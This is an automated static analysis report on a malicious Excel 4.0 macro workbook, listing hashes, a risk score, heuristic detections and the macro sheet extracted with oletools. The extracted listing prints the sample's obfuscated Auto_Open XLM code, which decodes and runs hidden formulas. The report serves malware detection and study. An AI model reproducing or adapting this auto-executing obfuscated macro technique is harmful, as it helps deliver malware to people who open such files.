Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a6b25dde3770253a…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:44:46 Authoring application: Microsoft Excel First seen: 2021-01-23
MD5: 70dde20859fad1050a68083225e8e350 SHA-1: 983c04fb0dc4a0c974bb0147f2b6e64856a6ae34 SHA-256: a6b25dde3770253acdcfbc8cecec2711f17eb178264668dfa205537ef91ec915
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6480 bytes
SHA-256: e2e42ac7c800eba3a77163c7337ca418d07f1814551b0ab39f4a2c2e5a3fa0f6
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  VaGb
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E159 
' 0018     25 LABEL : Cell Value, String Constant - EzUNqPgmmM len=0 
' 0018     27 LABEL : Cell Value, String Constant - FFIbDIdYoXKn len=0 
' 0018     26 LABEL : Cell Value, String Constant - FuftSsLQbfZ len=0 
' 0018     23 LABEL : Cell Value, String Constant - hksJbtDz len=0 
' 0018     21 LABEL : Cell Value, String Constant - HVWwIA len=0 
' 0018     20 LABEL : Cell Value, String Constant - IloBo len=0 
' 0018     22 LABEL : Cell Value, String Constant - IYcRuue len=0 
' 0018     27 LABEL : Cell Value, String Constant - ldMvJlkNNdDH len=0 
' 0018     24 LABEL : Cell Value, String Constant - OlmWtMNCq len=0 
' 0018     27 LABEL : Cell Value, String Constant - OmUXeSrpvFFz len=0 
' 0018     24 LABEL : Cell Value, String Constant - oztUEzWik len=0 
' 0018     26 LABEL : Cell Value, String Constant - RcgZNGfiAqq len=0 
' 0018     21 LABEL : Cell Value, String Constant - rsyCer len=0 
' 0018     23 LABEL : Cell Value, String Constant - SXERJBWS len=0 
' 0018     25 LABEL : Cell Value, String Constant - VOAWxLpBnp len=0 
' 0018     21 LABEL : Cell Value, String Constant - VydNhl len=0 
' 0018     23 LABEL : Cell Value, String Constant - wqExUIkG len=0 
' 0018     23 LABEL : Cell Value, String Constant - WyXgCVhY len=0 
' 0018     20 LABEL : Cell Value, String Constant - xXiXD len=0 
' 0018     23 LABEL : Cell Value, String Constant - ZDljteie len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  VaGb,E68,"SET.NAME("FuftSsLQbfZ",VALUE("0"))",""
'  VaGb,E71,"SET.NAME("SXERJBWS",FuftSsLQbfZ)",""
'  VaGb,E75,"SET.NAME("EzUNqPgmmM",FuftSsLQbfZ)",""
'  VaGb,E79,"SET.NAME("xXiXD",COUNTA(ZDljteie))",""
'  VaGb,E81,"SET.NAME("hksJbtDz",COUNTA(rsyCer))",""
'  VaGb,E86,[],""
'  VaGb,E89,"SET.NAME("oztUEzWik","")",""
'  VaGb,E93,"SXERJBWS",""
'  VaGb,E97,"SET.NAME("WyXgCVhY",HLOOKUP("*",ZDljteie,SXERJBWS,FALSE))",""
'  VaGb,E100,"VydNhl",""
'  VaGb,E103,"SET.NAME("OmUXeSrpvFFz",FuftSsLQbfZ)",""
'  VaGb,E107,[],""
'  VaGb,E110,"OmUXeSrpvFFz",""
'  VaGb,E113,"IloBo",""
'  VaGb,E115,"IYcRuue",""
'  VaGb,E119,"OlmWtMNCq",""
'  VaGb,E123,"SET.NAME("HVWwIA",VALUE(HLOOKUP("*",rsyCer,OlmWtMNCq,FALSE)))",""
'  VaGb,E128,"VOAWxLpBnp",""
'  VaGb,E131,"oztUEzWik",""
'  VaGb,E136,"EzUNqPgmmM",""
'  VaGb,E140,NEXT(),""
'  VaGb,E143,"FFIbDIdYoXKn",""
'  VaGb,E148,"SET.NAME("f",INT(T(FORMULA(T(oztUEzWik)&"",""&T(FFIbDIdYoXKn)))))",""
'  VaGb,E151,"ldMvJlkNNdDH",""
'  VaGb,E153,NEXT(),""
'  VaGb,E157,RETURN(),""
'  VaGb,E180,"SET.NAME("wqExUIkG",E68)",""
'  VaGb,E184,"ZDljteie",""
'  VaGb,E186,"SET.NAME("rsyCer",R55C11)",""
'  VaGb,E189,"SET.NAME("ldMvJlkNNdDH",198)",""
'  VaGb,E192,"SET.NAME("RcgZNGfiAqq",5)",""
'  VaGb,E197,wqExUIkG(),""
'  VaGb,E198,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.